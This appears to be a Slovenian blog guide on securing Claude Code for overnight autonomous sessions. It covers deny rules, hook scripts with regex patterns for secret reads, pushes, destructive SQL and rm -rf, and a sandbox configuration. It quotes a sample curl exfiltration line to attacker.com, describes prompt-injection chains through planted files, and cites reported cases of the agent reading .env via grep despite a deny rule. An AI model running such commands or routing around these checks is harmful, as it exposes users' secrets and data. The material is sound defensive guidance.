Blog

Kako konfigurirati Claude Code, da čez noč ne pokvari vašega projekta

Markdown

7 hooks, settings.json s permissions in kontrolni seznam z 12 točkami za delo Claude Code čez noč, ne da bi izgubili .env ali zbirko podatkov. Zaščita v 4 plasteh.

Preberi celoten članek

Dokumentacija Ailoot — referenčno gradivo za uporabo storitve.

Kaj se spremeni leta 2026: avtonomni Claude Code in resnični incidenti

Ključna ugotovitev

Leta 2026 je Anthropic uvedel auto-mode, /loop in /schedule — Claude Code lahko zdaj dela več ur brez potrjevanja. Cena avtonomije so resnični incidenti: izbrisane produkcijske zbirke podatkov, razkritja .env in napaka v permissions.deny, ki še vedno ni odpravljena. Ta vodič prikazuje 4 plasti zaščite, ki jih morate uvesti pred prvim nočnim zagonom.

Prej se je Claude Code ustavil po vsakem odgovoru in za vsako zapisovanje vprašal za dovoljenje. Bilo je nepraktično, vendar varno: incidenta fizično niste mogli prespati, ker je agent čakal na vaš »da«. Leta 2026 se je ta model spremenil. Anthropic je uvedel auto-mode — ločen klasifikacijski agent v vašem imenu odloča, ali dovoli posamezno dejanje. Pojavil se je ukaz /loop (izvajanje poziva v intervalih znotraj seje), prav tako /schedule (načrtovanje opravil po vzoru cron za dolgotrajna opravila). Seje v ozadju, zagnane z claude --bg, poganjajo agenta v ozadju brez terminala. O avtonomnem načinu sem podrobno pisal v vodiču »/goal v Claude Code: avtonomni način in pogled agenta«.

Težava je v tem, da je bila avtonomija uvedena hitreje, kot so ji sledili varnostni ukrepi.

Pred nekaj tedni sem ga prosil, naj »pospravi«, na koncu pa je izbrisal tako mojo produkcijsko kot razvojno zbirko podatkov.

— browningstreet

Hkrati sta v Anthropicovem repozitoriju odprti dve napaki, ki bi ju morali poznati, preden v settings.json dodate permissions.deny:

  • Issue #44868 (7. april 2026): Claude Code prebere vsebino .env z ukazom grep -n in jo prikaže v prepisu klepeta kljub izrecni prepovedi v CLAUDE.md. Napaka je še odprta.
  • Issue #24846 (11. februar 2026): pravila permissions.read.deny za vzorce .env* se ne uveljavijo — Read prebere .env.local kljub pravilnemu vzorcu za zavrnitev. Napaka je bila zaprta kot dvojnik, vendar ni odpravljena.

Ti dve vrzeli kažeta, zakaj ena plast zaščite v settings.json ne zadostuje. Sledi model štirih plasti: dovoljenja + kavlji + peskovnik + ločitev sej. Vsaka lahko zmanjša izpostavljenost, nobena pa ne naredi drugih popolnih. Navedeno vrednotenje auto-mode ne dokazuje, da kavelj z regularnim izrazom ujame njegove spreglede. Za produkcijo uporabite ločeno okolje operacijskega sistema brez produkcijskih poverilnic ali pisalnega dostopa, omrežne omejitve uveljavite zunaj modela ter meje preverite pred nenadzorovanim zagonom.

Kaj sta zeleni in rdeči projektni coni?

Ključna ugotovitev

Zelena cona: lokalni projekt brez aktivnih strank ali denarnih tokov. Rdeča cona: vse, kar vključuje produkcijsko zbirko podatkov, plačila ali osebne podatke. V zeleni coni lahko uporabljate auto-mode z najmanjšim potrebnim številom hookov. V rdeči coni mora biti zaščita vzpostavljena v 4 plasteh, način --dangerously-skip-permissions pa je arhitekturno prepovedan.

Nesmiselno je za vsak projekt vzpostavljati enako zaščito. Lokalni hobi projekt na vašem računalniku, ki ni uveden v zunanje okolje, pomeni povsem drugačno stopnjo tveganja kot storitev, ki obdeluje prava plačila in shranjuje podatke strank. Če povsod uporabljate enako zaščito, boste v zeleni coni omejevali hitrost, v rdeči pa še vedno puščali vrzeli.

Projekt preide iz zelene v rdečo cono takoj, ko je izpolnjen vsaj eden od treh pogojev: pojavijo se aktivne stranke, skozi sistem začne teči denar ali pa zbirka podatkov vsebuje osebne podatke ljudi. Do takrat lahko uporabljate auto-mode, najmanjše potrebno število hookov in nobenega peskovnika. Nato morate zaščito vzpostaviti v skladu s celotno nastavitvijo v tem vodiču.

Glavno načelo: raven zaščite je vezana na cono. Faza razvoja ni pomembna. Hobi projekt na vašem računalniku s testnim računom Stripe je v zeleni coni. Storitev z eno stranko, ki plačuje, in obrazcem za registracijo je že v rdeči coni, tudi če je še vedno videti kot »osnutek«. Zamenjava teh con je pogosta past v zgodnjih fazah projekta: »še smo v fazi osnutka, zaščito bomo dodali pozneje«, nato pa prva stranka plača že naslednji teden.

Kako deluje hierarhija dovoljenj v settings.json?

Ključna ugotovitev

V settings.json pravila deny vedno prevladajo nad allow, medtem ko se obsegi (user → project → local → managed) združijo, namesto da bi se prepisali. Zavrnitev na ravni uporabnika za .env, *.pem in ~/.ssh/** vas ščiti tudi v tujem repozitoriju. Ključ disableBypassPermissionsMode arhitekturno blokira tudi način YOLO.

Anthropic v uradni dokumentaciji opisuje hierarhijo preverjanja dovoljenj: najprej se preverijo pravila za zavrnitev, nato pravila za vprašanje, nazadnje pravila za dovoljenje — zmaga prvo ujemajoče se pravilo. To pomeni, da deny vedno prevlada nad allow. Če v ~/.claude/settings.json prepoveste branje .env, v projektu pa nekdo v .claude/settings.json doda allow, bo veljala vaša prepoved, ne njegovo dovoljenje.

Primer minimalne varne uporabniške datoteke ~/.claude/settings.json:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Kaj se dogaja? Prvih šest pravil blokira branje skrivnih datotek v trenutnem imeniku in vseh podimenikih. *.pem in *.key sta ključa SSL/TLS in SSH. credentials*.json je običajno ime datoteke, ki ga uporabljajo ponudniki oblaka. Zadnja tri pravila zadevajo sistemske imenike s ključi SSH, poverilnicami AWS in ključi GPG.

Ključ disableBypassPermissionsMode: "disable" blokira zastavico --dangerously-skip-permissions (znano tudi kot način YOLO). S tem enkrat za vselej odpravite eno vrsto napak: tudi če zastavico pomotoma dodate v skript ali vzdevek, je Claude Code ne bo sprejel. Ne bo je samo odstranil, temveč bo vrnil napako »mode disabled by managed settings«.

Poleg tega se od različice 2.1.142 ključ defaultMode: "auto" prezre, če je v nastavitvah projekta ali lokalnih nastavitvah. To ščiti pred položajem: »Vstopil sem v tuji repozitorij, njegov .claude/settings.json pa ima privzeto vklopljen samodejni način.« Anthropic je izrecno navedel, da repozitoriji ne morejo vklopiti načina auto-mode brez uporabnikovega soglasja.

To je prva obrambna črta. Pri njej ne morete obstati, saj ima dve vrzeli, o katerih boste izvedeli v nadaljevanju.

Zakaj permissions.deny ni dovolj: 2 odprti težavi na GitHubu

Ključna ugotovitev

Aprila 2026 je uporabnik v Anthropicovem repozitoriju prijavil težavo #44868: Claude bere .env prek grep -n in vsebino izpiše v prepisu kljub prepovedi v CLAUDE.md. Februarja je bila prijavljena težava #24846, po kateri permissions.read.deny za .env* ne deluje na ravni orodja Read. Obe težavi sta še odprti in pomenita, da je settings.json brez hooka kot sito z luknjami.

Če bi permissions.deny deloval, bi se lahko vodič končal že v prejšnjem razdelku. Vendar ne deluje.

Težava #44868 (7. april 2026): uporabnik je v CLAUDE.md izrecno prepovedal branje .env, .dev.vars in drugih datotek s skrivnostmi. Claude namesto orodja Read zažene grep -n SOMETHING .env. Ukaz grep -n izpiše celotno ujemajočo se vrstico s številko — vključno z dejanskim žetonom API-ja. Ta vrstica vstopi v tool_result, se prikaže v prepisu seje in shrani v zgodovino.

Avtor opozarja na prikrito podrobnost: varnostni refleks modela se sproži šele, ko je izpis že ustvarjen, ne pa pred izvajanjem ukaza. Z drugimi besedami, Claude najprej zažene grep, dobi vrstico z žetonom in jo izpiše v klepet — šele nato opazi napako in se »opraviči«. Takrat je žeton že v zgodovini klepeta. Edino pravno sredstvo je zamenjava ključa.

Težava #24846 (11. februar 2026): uporabnik je nastavil permissions.read.deny s seznamom, ki je vseboval vzorec **/.env*. Nato je Claudea prosil, naj prebere .env.local. Orodje Read se je izvedlo brez napake in izpisalo vsebino datoteke.

Težava je bila zaprta kot dvojnik, vendar ni odpravljena. Ob pisanju tega vodiča (junij 2026) jo je še vedno mogoče poustvariti.

Sklep: prva plast v settings.json ni zaman, vendar ti primeri ne merijo deleža nenamernih branj, ki jih prepreči. Vendar pa ne prepreči ukazov prek Bash (cat .env, grep API_KEY .env, head .env), napak pri uveljavljanju pravil (težava #24846) ali domiselnih verig dejanj z uporabo git diff ali git show za objavo, ki vsebuje .env. Zato potrebujete drugo plast — hooke.

Kako lahko hooki blokirajo prepoznana nevarna dejanja?

Ključna ugotovitev

V Claude Code so hooki lupinski skripti, ki se izvajajo ob določenih dogodkih (PreToolUse, UserPromptSubmit, Stop) in lahko blokirajo dejanje z izhodno kodo 2 ali JSON-om, ki vsebuje permissionDecision: "deny". Za razliko od dovoljenj in CLAUDE.md je hook vmesna programska oprema: prestreže klic pred izvedbo, ne da bi sodeloval model.

Hooki delujejo na drugi abstrakcijski ravni kot dovoljenja. Dovoljenja so pravila, ki jih model upošteva pri odločanju, kaj bo storil. Hook deluje drugače: model se odloči poklicati orodje, hook se zažene med modelom in sistemom, preveri vhod in ga bodisi dovoli bodisi blokira. Model pri odločanju hooka ne sodeluje — to je lupinska koda, ki jo napišete sami.

Anthropic v uradni dokumentaciji za hooke opisuje blokiranje:

Izhodna koda 2 pomeni blokirajočo napako. Claude Code prezre stdout in ves JSON v njem. Namesto tega se besedilo iz stderr pošlje Claudeu kot sporočilo o napaki.

— Dokumentacija Claude Code (Hooks), https://code.claude.com/docs/en/hooks

To pomeni dvoje. Prvič, pravilno nastavljen blokirajoči kavelj lahko zavrne ujemajoči se klic orodja. Pri PreToolUse izhodna koda 2 blokira ta klic; ne dokazuje, da skript prepozna vsak nevaren enakovreden ukaz. Drugič, v stderr lahko dodate smiseln opis, ki ga bo Claude prebral kot napako in poskusil uporabiti drug pristop. Z drugimi besedami, hook ni samo »ograja«, temveč »ograja z znakom, ki pojasnjuje, zakaj je ne smete prečkati«.

Dogodki, ki jih je mogoče blokirati z izhodno kodo 2:

  • PreToolUse — blokira klic orodja pred izvedbo. Glavni dogodek za obrambne hooke.
  • PermissionRequest — zavrne dovoljenje za dejanje, za katero je Claude zaprosil.
  • UserPromptSubmit — blokira in izbriše uporabnikov poziv. Uporabno, če poziv vsebuje sumljivo besedilo (na primer vbrizgavanje poziva v podtaknjenem e-poštnem sporočilu).
  • Stop — prepreči Claudeu, da bi končal sejo. Lahko ga uporabite kot »zanko«, ki agenta zaposli, dokler ni izpolnjen pogoj.
  • PreCompact — blokira samodejno strnjevanje konteksta. Uporabno, če želite prepis ohraniti do ročne odločitve.
  • WorktreeCreate — zavrne ustvarjanje delovnega drevesa. Ščiti pred poskusom Claudea, da bi kloniral repozitorij na nepričakovano mesto.

Namesto izhodne kode 2 lahko vrnete JSON s poljem hookSpecificOutput.permissionDecision. permissionDecision ima štiri možne vrednosti:

  • allow — izrecno dovoli dejanje in obide običajni tok dovoljenj.
  • deny — blokira dejanje, pri dogodku PreToolUse je enakovredno izhodni kodi 2.
  • ask — zahteva posredovanje uporabnika (prikaže se pogovorno okno).
  • defer — odločitev prepusti običajni logiki dovoljenj.

Tako ima hook več nadzora kot sama izhodna koda. Z permissionDecision: "ask" lahko tihe operacije spremenite v take, ki zahtevajo potrditev, ne da bi jih povsem blokirali. To uporabljam za npm install <new package> in spremembe datotek lockfile.

Če želite izvedeti več o delovanju hookov in 31 dogodkih, ki so trenutno na voljo v Claude Code, sem o tem pisal v ločenem vodiču »Hooki v Claude Code: 7 pravil, pripravljenih za kopiranje«. V nadaljevanju bom predstavil konkretne hooke za avtonomno delo.

Katerih 7 hookov uporabljam za delo čez noč?

Ključna ugotovitev

Ponazoritveni kavlji PreToolUse za 7 scenarijev: označevanje izbranih branj skrivnosti, blokiranje prepoznanih dobesednih klicev git push, filtriranje izbranih vzorcev SQL in rm -rf, pregled nameščanja paketov in sprememb manifestov ter beleženje ujemajočih se klicev orodij. Pred vklopom lokalno preizkusite ujemanja in spreglede. Ti primeri z regularnimi izrazi so nepopolni in ne vzpostavijo produkcijske varnostne meje.

To je druga plast zaščite, ki dopolnjuje prvo. Vsi hooki so v .claude/hooks/, registrirani so v .claude/settings.json in zahtevajo nameščen jq.

Hook 1: zaščita .env, .pem in credentials.json pred branjem

Doda preverjanja izbranih poti Read in pogostih ukazov Bash za branje skrivnosti. Ne zajame vsakega orodja ali načina branja skrivnosti. Datoteka: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registracija v .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Po namestitvi zaženite chmod +x .claude/hooks/block-secret-reads.sh. Preizkus: prosite Claude, naj prebere .env.local — namesto vsebine datoteke boste dobili odgovor »Secret file. Use op:// references or env vars.«

Hook 2: blokiranje dobesednih klicev git push v nočnih sejah

Za nenadzorovano sejo ta primer previdnostno blokira vsak prepoznan dobesedni git push, tudi potiske v funkcijske veje. Ne ugotavlja trenutne veje in ne presoja varnosti zastavice za prisilni potisk. Datoteka: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registrirajte ga prek PreToolUse z ujemalnikom Bash. Ker blokira prepoznani ukaz potiska in ne razčlenjuje zastavic ter imen vej, zajame git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main in dobesedni potisk v verigi && ali ;. To so primeri ujemanja nizov brez omrežja, ne ukazi za izvajanje proti oddaljenemu repozitoriju.

To ostaja besedilna hevristika. Vzdevki Git, funkcije lupine, git -C ... push, sestavljena imena ukazov, skripti in druga orodja se ji lahko izognejo; ni popoln razčlenjevalnik lupine. Zaščitene veje uveljavite na strežniku Git, odstranite poverilnice za obhod in nenadzorovano delo izvajajte v ločenem okolju brez produkcijskega pisalnega dostopa. Spregled kavlja ne sme dodeliti produkcijskih pooblastil.

Hook 3: blokiranje uničevalnih operacij SQL

Neposredno naslavlja incidente z izbrisanimi podatkovnimi bazami. Datoteka: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registrirajte ga z dogodkom PreToolUse in ujemalnikom Bash. Upoštevajte razliko: DROP in DELETE brez WHERE sta v celoti blokirana, medtem ko je UPDATE brez WHERE označen kot ask — včasih je lahko upravičen (na primer za nastavitev zastavice za vse zapise pri migraciji), vendar vedno zahteva ročno potrditev.

Hook 4: filter rm -rf

Kanonični primer iz Anthropicove dokumentacije, prilagojen tako, da zavrne dejanje z razlogom:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook dovoljuje rm -rf node_modules, rm -rf .next/cache in druge izrecno določene brisanja. Blokira pa rm -rf ., rm -rf /, rm -rf ~ in podobne ukaze za »brisanje vsega«.

Hook 5: potrditev namestitve novih paketov

Ta hook preprečuje napade na dobavno verigo. Če se Claude sam odloči dodati novo odvisnost, se prikaže pogovorno okno:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hook omogoča namestitve iz lockfile brez zadržkov, dodajanje nove odvisnosti pa zahteva potrditev.

Hook 6: zaščita package.json in datoteke lockfile

Vsaka sprememba manifesta odvisnosti je razlog za pregled. Še posebej čez noč.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registrirajte ga za PreToolUse z ujemalnikom Write|Edit.

Hook 7: beleženje vseh klicev Bash od začetka do konca

Če gre čez noč kaj narobe, potrebujete popoln dnevnik, da razumete zaporedje dogodkov. Registrirajte ga v settings.json (hook nima ločenega skripta; vse opravi jq):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Datoteka .claude/audit.jsonl raste vrstico za vrstico. Zjutraj lahko po nočnem /loop zaženete tail -n 100 .claude/audit.jsonl | jq in vidite, kaj je agent počel v posameznem trenutku. To je bistveno za analizo po incidentu, saj je prepis seje lahko dolg in težko berljiv, dnevnik revizije pa poda čisto časovnico.

Kako peskovnik in izolacija worktree zaščitita dolge seje?

Ključna ugotovitev

Peskovnik v Claude Code zagotavlja izolacijo datotečnega sistema in omrežja. Anthropic poroča o 84-odstotnem zmanjšanju števila zahtev za dovoljenje ob enaki ravni varnosti. Izolacija omrežja blokira odtekanje .env na oddaljeni strežnik, tudi če ga je agent že prebral. Za dolge seje v ozadju sta peskovnik in worktree obvezna.

Če so hooki »ograja z znakom«, je peskovnik »ograja, jarek in mreža proti dronom«. To je četrta plast zaščite; pokriva primere, ko hooki dejanje spustijo skozi, a tudi izvedba tega dejanja ne bi smela povzročiti škode zunaj okolja.

V objavi v spletnem dnevniku o peskovniku (20. oktober 2025) Anthropic poroča o internih meritvah:

Po naših internih podatkih peskovnik varno zmanjša število pozivov za dovoljenje za 84 %.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

To pomeni, da Claude ob vklopu /sandbox ne sprašuje za dovoljenje pri 84 % dejanj, ker ta dejanja fizično ne morejo zapustiti peskovnika. To je koristno za hitrost, vendar ni glavna prednost.

Peskovnik zagotavlja dve ravni izolacije, vsaka s svojo vlogo:

Izolacija datotečnega sistema omeji branje in zapisovanje na izrecno dovoljene imenike. Tudi če hook spregleda poskus zapisovanja v /etc/hosts ali branja ~/.ssh/id_rsa, peskovnik sistemskemu klicu ne bo dovolil prehoda. To je zaščita na ravni operacijskega sistema. Aplikacijska plast je ne more zaobiti.

Izolacija omrežja dovoljuje povezave samo z odobrenimi strežniki. To je ključno za napade z odtekanjem podatkov. Scenarij: vbrizgan poziv v podtaknjeni datoteki zavede Claudea, da prebere .env (hook to spregleda, ker branje poteka po nenavadni poti), nato pa se model odloči zagnati curl -X POST attacker.com -d "$ENV_CONTENT". Brez izolacije omrežja bi to delovalo. Z izolacijo omrežja curl ne more doseči attacker.com, ker gostitelj ni na seznamu.

Zaženite ukaz /sandbox znotraj Claude Code. Nastavite ga v ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Pri dolgih sejah v ozadju, zagnanih z claude --bg, peskovniku dodajte še izolacijo worktree. To je izvorna zmožnost Claude Code: vsaka seja v ozadju se samodejno premakne v svoj .claude/worktrees/<name>/ na ločeno vejo. Tako vzporedne seje med pisanjem v iste datoteke ne posegajo druga v drugo. O izolaciji worktree sem podrobno pisal v vodiču »Pogled agenta in worktree: avtonomni način Claude Code«.

Claudeu omogočite, da preveri svoje delo.

Peskovnik je del povratne zanke. Ko Claude ve, da so njegova dejanja omejena, dela bolj previdno in jasneje opisuje vmesne korake.

Kje auto-mode deluje leta 2026 in kje ne?

Ključna ugotovitev

Auto-mode v Claude Code je klasifikator Sonnet 4.6, ki ročna dovoljenja nadomesti z avtomatiziranimi odločitvami po pravilih Anthropic. Po podatkih samega Anthropic je stopnja lažno negativnih rezultatov pri nevarnih dejanjih 17 %, seja pa se ustavi po 3 zaporednih ali 20 skupnih zavrnitvah klasifikatorja. V zeleni coni je razumna zamenjava za ročno potrjevanje. V rdeči coni so hooki še vedno nujni.

Marca 2026 je Anthropic uvedel auto-mode kot »vmesno možnost med ročnim pregledom in odsotnostjo zaščitnih mehanizmov«. Gre za ločen model Sonnet 4.6, ki pred izvedbo vsako dejanje Claudea oceni glede na nabor meril. Anthropic je delovanje opisal v spletnem dnevniku Anthropic Engineering:

Auto-mode je nov način Claude Code, ki odobritve prepusti klasifikatorjem, temelječim na modelu. Je vmesna možnost med ročnim pregledom in odsotnostjo zaščitnih mehanizmov.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Auto-mode ima dve pomembni omejitvi:

  • Če se v seji naberejo 3 zaporedne ali 20 skupnih zavrnitev klasifikatorja, se model ustavi in odločitev prepusti človeku. To ščiti pred položajem, ko »Claude zaide v zanko in skuša obiti omejitev s 100 različnimi ubeseditvami istega ukaza«.
  • Auto-mode dovoli dejanje, če je podobno 93 % tipičnih primerov, ki jih uporabniki tako ali tako odobrijo. To zmanjša utrujenost zaradi dovoljenj, ne zaščiti pa pred netipičnimi nevarnimi dejanji.

In tukaj je glavna številka, ki jo velja upoštevati:

17-odstotna stopnja lažno negativnih rezultatov pri resničnih pretirano zavzetih dejanjih — to je poštena številka.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Poročanih 17% je stopnja lažno negativnih rezultatov na tem vrednotenju, ne verjetnost vsakega dejanja v vašem projektu. Ne dokazuje, da vzorčni kavlji ujamejo spregledana dejanja. V rdeči coni nenadzorovano delo potrebuje uveljavljeno ločitev od produkcijskih zapisov in skrivnosti, zaščitene veje na strežniku ter poverilnice, ki pravil ne morejo obiti.

Praktični sklep: kavlje uporabite kot dodatna preverjanja v pogrešljivem, obnovljivem okolju. Tudi lokalni projekt lahko vsebuje nesledene datoteke ali poverilnice, ki jih Git ne more obnoviti. V rdeči coni mora spregled kavlja omejiti dejanski nadzor dostopa; zbirka regularnih izrazov poljubnega izvajanja lupine ne spremeni v deterministično zagotovilo varnosti.

Zakaj kontekste razdeliti na tri vrste sej?

Ključna ugotovitev

Najnevarnejšo verigo sestavljajo trije običajni ukazi zapored, ne en sam slab ukaz. Agent prebere .env (legitimno), obdela dohodno e-pošto (legitimno) in pošlje zahtevo HTTP navzven (legitimno). Vsako dejanje je samo zase varno; skupaj pomenijo odtekanje podatkov. Zaščita je v tem, da tri vrste opravil razdelite v ločene seje z različnimi dovoljenji.

Tri vrste opravil nikoli ne bi smele biti v isti seji:

Vrsta 1: delo z osebnimi podatki. Seja ima dostop do produkcijske zbirke podatkov, lahko pošilja e-pošto in vidi poverilnice. NIMA dostopa do zunanjih dokumentov (e-poštnih sporočil, PDF-jev, spletnih strani) in NE SME pošiljati podatkov na poljubne naslove.

Vrsta 2: obdelava zunanjih dokumentov. Seja lahko razčlenjuje dohodna e-poštna sporočila, prenaša spletne strani in bere PDF-je iz e-pošte. NIMA dostopa do zbirke podatkov z osebnimi podatki in NE SME ničesar poslati navzven brez izrecne potrditve.

Vrsta 3: zunanje objavljanje. Seja lahko objavlja v družbenih omrežjih, pošilja e-poštne kampanje in ustvarja zahtevke za vključitev sprememb. NIMA dostopa do osebnih podatkov in NE obdeluje dohodne vsebine.

Zakaj jih ločiti? Če ena seja počne vse, je en sam vbrizgan poziv v podtaknjenem PDF-ju (konkurenčna agencija je poslala »račun«) dovolj, da agent v enem zamahu prebere zbirko podatkov strank, poišče njihove e-poštne naslove in jih pošlje napadalčevemu naslovu. Vsako dejanje v tej verigi je legitimno za svojo vrsto opravila. Skupaj pomenijo uhajanje podatkov.

Najstrašnejši vzorec odtekanja podatkov ni en slab ukaz. Gre za verigo povsem običajnih ukazov. Agent prebere .env (dovoljeno), ga pošlje prek HTTP-ja (dovoljeno) in to je vse.

— ibrahim_h, HackerNews

V praksi se to uveljavi z različnimi imeniki .claude za različne vrste opravil. Na svojem računalniku uporabljam tri nastavitve: ~/projects/business-ops/.claude/ (vrsta 1, dostop do zbirke podatkov, omrežje je zavrnjeno, razen za interne API-je), ~/projects/inbox-parsing/.claude/ (vrsta 2, vsa omrežna komunikacija je zavrnjena), ~/projects/social-posting/.claude/ (vrsta 3, omrežje je dovoljeno za API-je Telegram in Slack). Vsak imenik je ločen projekt za Claude Code z lastnimi dovoljenji in hooki.

Katerih 12 točk kontrolnega seznama preverim pred /loop?

Ključna ugotovitev

Pred nočnim zagonom /loop, /schedule ali claude --bg preverim kontrolni seznam z 12 točkami. Sega od osnovne zavrnitve v ~/.claude/settings.json do ukaza /sandbox z izolacijo omrežja. Če manjka že ena točka, agenta ne zaženem.

  1. ~/.claude/settings.json z uporabniško nastavitvijo deny za .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. To je temelj; brez njega je vse drugo brez pomena.

  2. disableBypassPermissionsMode: "disable" v ~/.claude/settings.json. Za vedno blokira zastavico YOLO.

  3. Primeri block-secret-reads.sh so preizkušeni na izbranih ukazih za branje skrivnosti; dejanske skrivnosti in produkcijske poverilnice so nedostopne nenadzorovanemu okolju.

  4. Primer block-force-push.sh blokira prepoznane dobesedne potiske ne glede na vrstni red zastavic ali cilj; zaščitene veje in poverilnice brez obhoda uveljavlja strežnik Git.

  5. Hook block-destructive-sql.sh za DROP TABLE, TRUNCATE in DELETE FROM brez WHERE.

  6. Hook block-rm-rf.sh za rm -rf brez izrecno določenega obsega.

  7. Hook ask-on-new-deps.sh za npm install <new package> (ločeno od ukaza npm install brez argumentov).

  8. Hook ask-on-lockfile-change.sh za zapisovanje v package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml in Cargo.toml.

  9. Vseobsegajoči dnevnik audit.jsonl za vse klice Bash, Write in Edit. Brez njega je analiza po incidentu nemogoča.

  10. Vse dolge seje v ozadju se izvajajo v worktree, ne na glavni veji: claude --bg "task" samodejno ustvari worktree, vendar preverite, da settings.json ne vsebuje worktree.bgIsolation: "none".

  11. Pred zagonom dolgega avtonomnega opravila vklopite /sandbox. Datotečni sistem je omejen na projektni imenik in /tmp. Omrežje uporablja seznam dovoljenih gostiteljev: api.anthropic.com, github.com in registry.npmjs.org.

  12. V opravilo vključite preverjanje: po vsaki večji spremembi zaženite izvajalnik testov ali linter. Če ne uspejo, agent ne nadaljuje, dokler težave niso odpravljene.

